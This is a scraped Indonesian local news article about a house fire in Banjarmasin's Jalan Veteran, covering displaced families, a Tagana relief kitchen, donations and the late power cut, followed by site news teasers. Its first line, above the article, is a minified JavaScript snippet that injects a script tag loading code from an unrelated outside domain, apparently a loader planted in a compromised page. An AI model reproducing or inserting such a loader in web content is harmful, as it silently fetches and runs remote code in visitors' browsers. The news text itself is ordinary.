(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Arbayah, lansia 65 tahun harus berbagi petak kecil bersama 5 anggota keluarganya usai si jago merah melalap habis tempat tinggalnya, di jalan Veteran, gang Sepakat RT 23, Kamis (13/6) dinihari lalu.
Ia tinggal bersama adik, anak, serta beberapa cucunya yang masih duduk di sekolah dasar. Saat kebakaran terjadi mereka sama sekali tidak berhasil menyelamatkan satu pun barang yang mereka miliki. Hanya diri seutuhnya dan baju yang mereka kenakan pada saat kejadian saja yang bisa mereka selamatkan.
Di rumah berdinding kayu berlantai semen yang kini mereka gunakan untuk mengungsi itu hanya berisikan ambal tipis untuk mereka berbaring. Sementara di sudut-sudut nampak tumpukan beberapa sumbangan yang mereka terima, baik pangan, baju bekas yang masih terbungkus rapi di dalam plastik, hingga sajadah.
Hamsay, adik Arbayah yang berusia 55 tahun menceritakan bahwa hingga saat ini pihaknya hanya bisa pasrah atas musibah yang terjadi. Untuk mengisi kekosongan perut, ia beserta korban lainnya menaruh harap pada dapur umum yang disediakan oleh Taruna Siaga Bencana (Tagana).
“Kalau untuk mandi dan buang air, kami pakai WC (bekas rumah yang terbakar) yang kerannya masih bisa digunakan,†ucapnya dengan senyum lirih.
Sedikit ditambahkan oleh Hamsay dengan nada penuh harap, ia berandai-andai saat kebakaran terjadi aliran listrik cepat dipadamkan oleh pihak PLN, tentu api tidak akan memakan banyak rumah. “Tapi ya namanya musibah, mau apa lagi,†ujarnya dengan nada yang hanya sebatas angan.
Jarwo, salah satu anggota Tagana yang bertugas menjaga posko bantuan pun membenarkan. “Saat itu pemadam sudah susah cari air, terus pas sudah siap, ternyata listrik masih menyala dan terlambat dipadamkan PLN. Pemadam ga berani ambil risiko,†jelasnya.
Hingga saat ini, Jarwo, bersama Hanilatus Sadiyah, Ketua RT 23, serta ditemani beberapa ketua RT, tetangga, dan lurah senantiasa menjaga posko bantuan untuk menerima sumbangan yang terus mengalir. Selain itu pihaknya juga sembari menyiapkan makanan untuk dapur umum yang makanannya dibagikan di salah satu musholla pada pukul 8 pagi, 12 siang, dan 7 malam.
Seluruh makanan dan bantuan yang pihaknya terima itu dibagikan secara merata kepada 77 jiwa yang terdiri di dalam 21 kepala keluarga.
Dari tanggal 13 hingga 14 Juni, pihaknya sudah menerima sumbangan berupa uang dengan nominal Rp24.540.000. Dana tersebut terhimpun dari sumbangan pribadi H Sahbirin Noor, sumbangan pribadi H Ibnu Sina, Dinas Sosial, Baznas, Camat Banjarmasin Timur, serta sumbangan di pinggir jalan.
Disampaikan oleh Sadiyah, ada total 19 buah rumah yang terbakar, dengan 6 rumah berstatus rumah sewaan serta sisanya rumah pribadi. “Alhamdulillah semua korban bisa terpenuhi kebutuhannya dan mempunya tempat untuk tinggal sementara. Ada yang di rumah keluarga, ada yang di musholla, ada juga yang menggunakan rumah sewaan,†tuturnya. (mario)
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
This website uses cookies.